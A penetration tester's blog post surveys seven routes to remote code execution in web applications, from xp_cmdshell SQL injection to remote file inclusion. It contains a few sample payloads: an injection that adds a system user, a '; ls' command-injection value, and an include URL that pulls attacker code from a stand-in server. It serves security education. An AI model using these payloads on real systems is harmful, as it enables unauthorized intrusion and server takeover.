7 Techniques To Gain Remote Code Execution on Web Applications

Remote Code Execution (RCE) is considered the holy grail in web application security. As a seasoned penetration tester, I’ve uncovered various techniques over the years to achieve RCE. In this blog post, I’ll share seven of these methods in more detail.

Remote Code Execution (RCE) is a security vulnerability that allows an attacker to execute arbitrary code on a target system, usually within the context of the running application. This essentially provides the attacker with the ability to perform actions on the server as though they had legitimate access to it, ranging from data manipulation and theft to a complete system compromise. The impact of RCE is especially severe because it allows the attacker to bypass most security perimeters, often leading to full control of the target system. This can result in devastating consequences for organizations, including unauthorized access to sensitive data, financial loss, and severe reputational damage. Moreover, once an attacker achieves RCE, they can potentially move laterally within the network, escalating the scope and impact of the breach. Due to its high-impact nature, RCE is generally considered one of the most critical vulnerabilities in web security.

1) SQL Injection with Microsoft SQL Configured with xp_cmdshell

What It Is:
SQL injection is no stranger to the web security community. However, when you mix it with Microsoft SQL Server’s xp_cmdshell stored procedure, it turns into a powerful tool for achieving RCE. The xp_cmdshell stored procedure lets you run operating system-level commands from SQL queries.

How It Works:
The attack begins by identifying a point of SQL injection in the application. Once located, you can inject a specially-crafted SQL query that utilizes the xp_cmdshell stored procedure to run arbitrary OS commands. Here’s a sample injection query for illustration:


'; EXEC xp_cmdshell('net user hacker password123 /add')--

The above SQL code attempts to create a new user named hacker with the password password123 on the system. If it works, you’ve just executed a system-level command through SQL injection.

2) Arbitrary File Upload Leading to a Web Shell

What It Is:
Some web applications have features that allow users to upload files but lack proper file type verification. If everything lines up correctly for a pentester, it is sometimes possible to upload a web application page that allows the pentester to execute OS level code (RCE) on the target machine.

How It Works:
By uploading a malicious shell script disguised as a harmless file type (for example, an image), you can get your code onto the server. After uploading, navigate to the uploaded file’s URL to interact with the web shell. From here, you can run commands on the server. The key lies in bypassing the file upload restrictions and malware scans if any exist. To enable this attack to work you need a few things to line up correctly

  1. The server is using a vulnerable technology that executes files such as php, aspx, asp, etc
  2. The web app allows users to upload files
  3. There are no restrictions on the extension of the files allowed to be uploaded (or the attacker can bypass those restrictions)
  4. The attacker can reach file uploaded file once it is uploaded, causing the malicious code to be executed

3) Insecure Admin Interface Allowing Malicious Module Installation

What It Is:
Many web applications have administrative interfaces that aren’t as secure as they should be. They may have weak or default credentials and might lack multi-factor authentication.

How It Works:
By brute-forcing or otherwise gaining access to the admin interface, you can potentially upload and install malicious modules or plugins. These can be specially crafted to provide a gateway for RCE. The risk is elevated if the admin interface does not scrutinize the modules being uploaded for malicious code. For example, some WordPress plugins allow admins to run OS commands. If the attacker manages to steal a WordPress admin user, then he may be able to install the plugin and abuse it to take over the hosting server.

4) Server-Side Template Injection (SSTI)

Server-Side Template Injection, often abbreviated as SSTI, is a vulnerability that surfaces when an application takes user input and places it into a server-side template without proper sanitization or escaping. This could lead to unintended consequences, such as unauthorized information disclosure, or in more serious cases, Remote Code Execution (RCE).

How It Works:
When an application uses a template engine—such as Jinja2 for Python, ERB for Ruby, or Thymeleaf for Java—it often takes variables and replaces them with real values to generate dynamic HTML content. If the template engine is configured insecurely, it might allow the execution of arbitrary code.

5) OS Command Injection

What It Is:
OS Command Injection happens when an application passes unsafe user-supplied data to a system shell.

How It Works:
Inserting shell metacharacters like ;, &&, or | can allow you to run multiple commands. Consider an example where an application runs a ping command using a user-supplied IP address. Inputting; ls would ping localhost and then list the directory contents. On your next penetration test, when the application returns information that you suspect might’ve been obtained by taking you input and appending it to an OS command, such as ping, then you should attempt to use the aforementioned metacharacters and test if you can perform unintended OS level operations.

6) Finding Web Applications with Known Vulnerabilities (e.g., Log4Shell)

What It Is:
Many applications use third-party libraries, and these libraries can sometimes have vulnerabilities that are publicly disclosed.

How It Works:
For example, the Log4Shell vulnerability in the Log4j library allows RCE via a specially crafted log output. Upon identifying that an application uses a vulnerable version of this library, you can exploit it to run arbitrary code. Tools like vulnerability scanners or even manual code reviews can help identify such known flaws.

7) Remote File Inclusion (RFI)

What It Is:
Remote File Inclusion (RFI) is a web vulnerability that allows an attacker to inject a file—usually a script—from a remote server into a web application. RFI is often mistaken for Local File Inclusion (LFI), but while LFI involves injecting files already present on the server, RFI takes it up a notch by sourcing the malicious file from a remote server.

How It Works:
If a web application uses an include function to pull in a file based on user input, it may be possible to point this to an external server hosting your malicious code. For instance, if the application includes page.php?file=about_us, you could change it to page.php?file=http://yourserver/exploit.txt, thereby causing the server to reach out to your server and execute code that you control causing the code to be executed on the target server.


Finding and exploiting Remote Code Execution vulnerabilities is the pinnacle of penetration testing. Knowing how to both execute and defend against these advanced techniques is crucial for any security professional. Always remember to conduct these tests responsibly, in an authorized environment, and follow proper disclosure guidelines.

Stay vigilant, stay ethical, and happy hunting!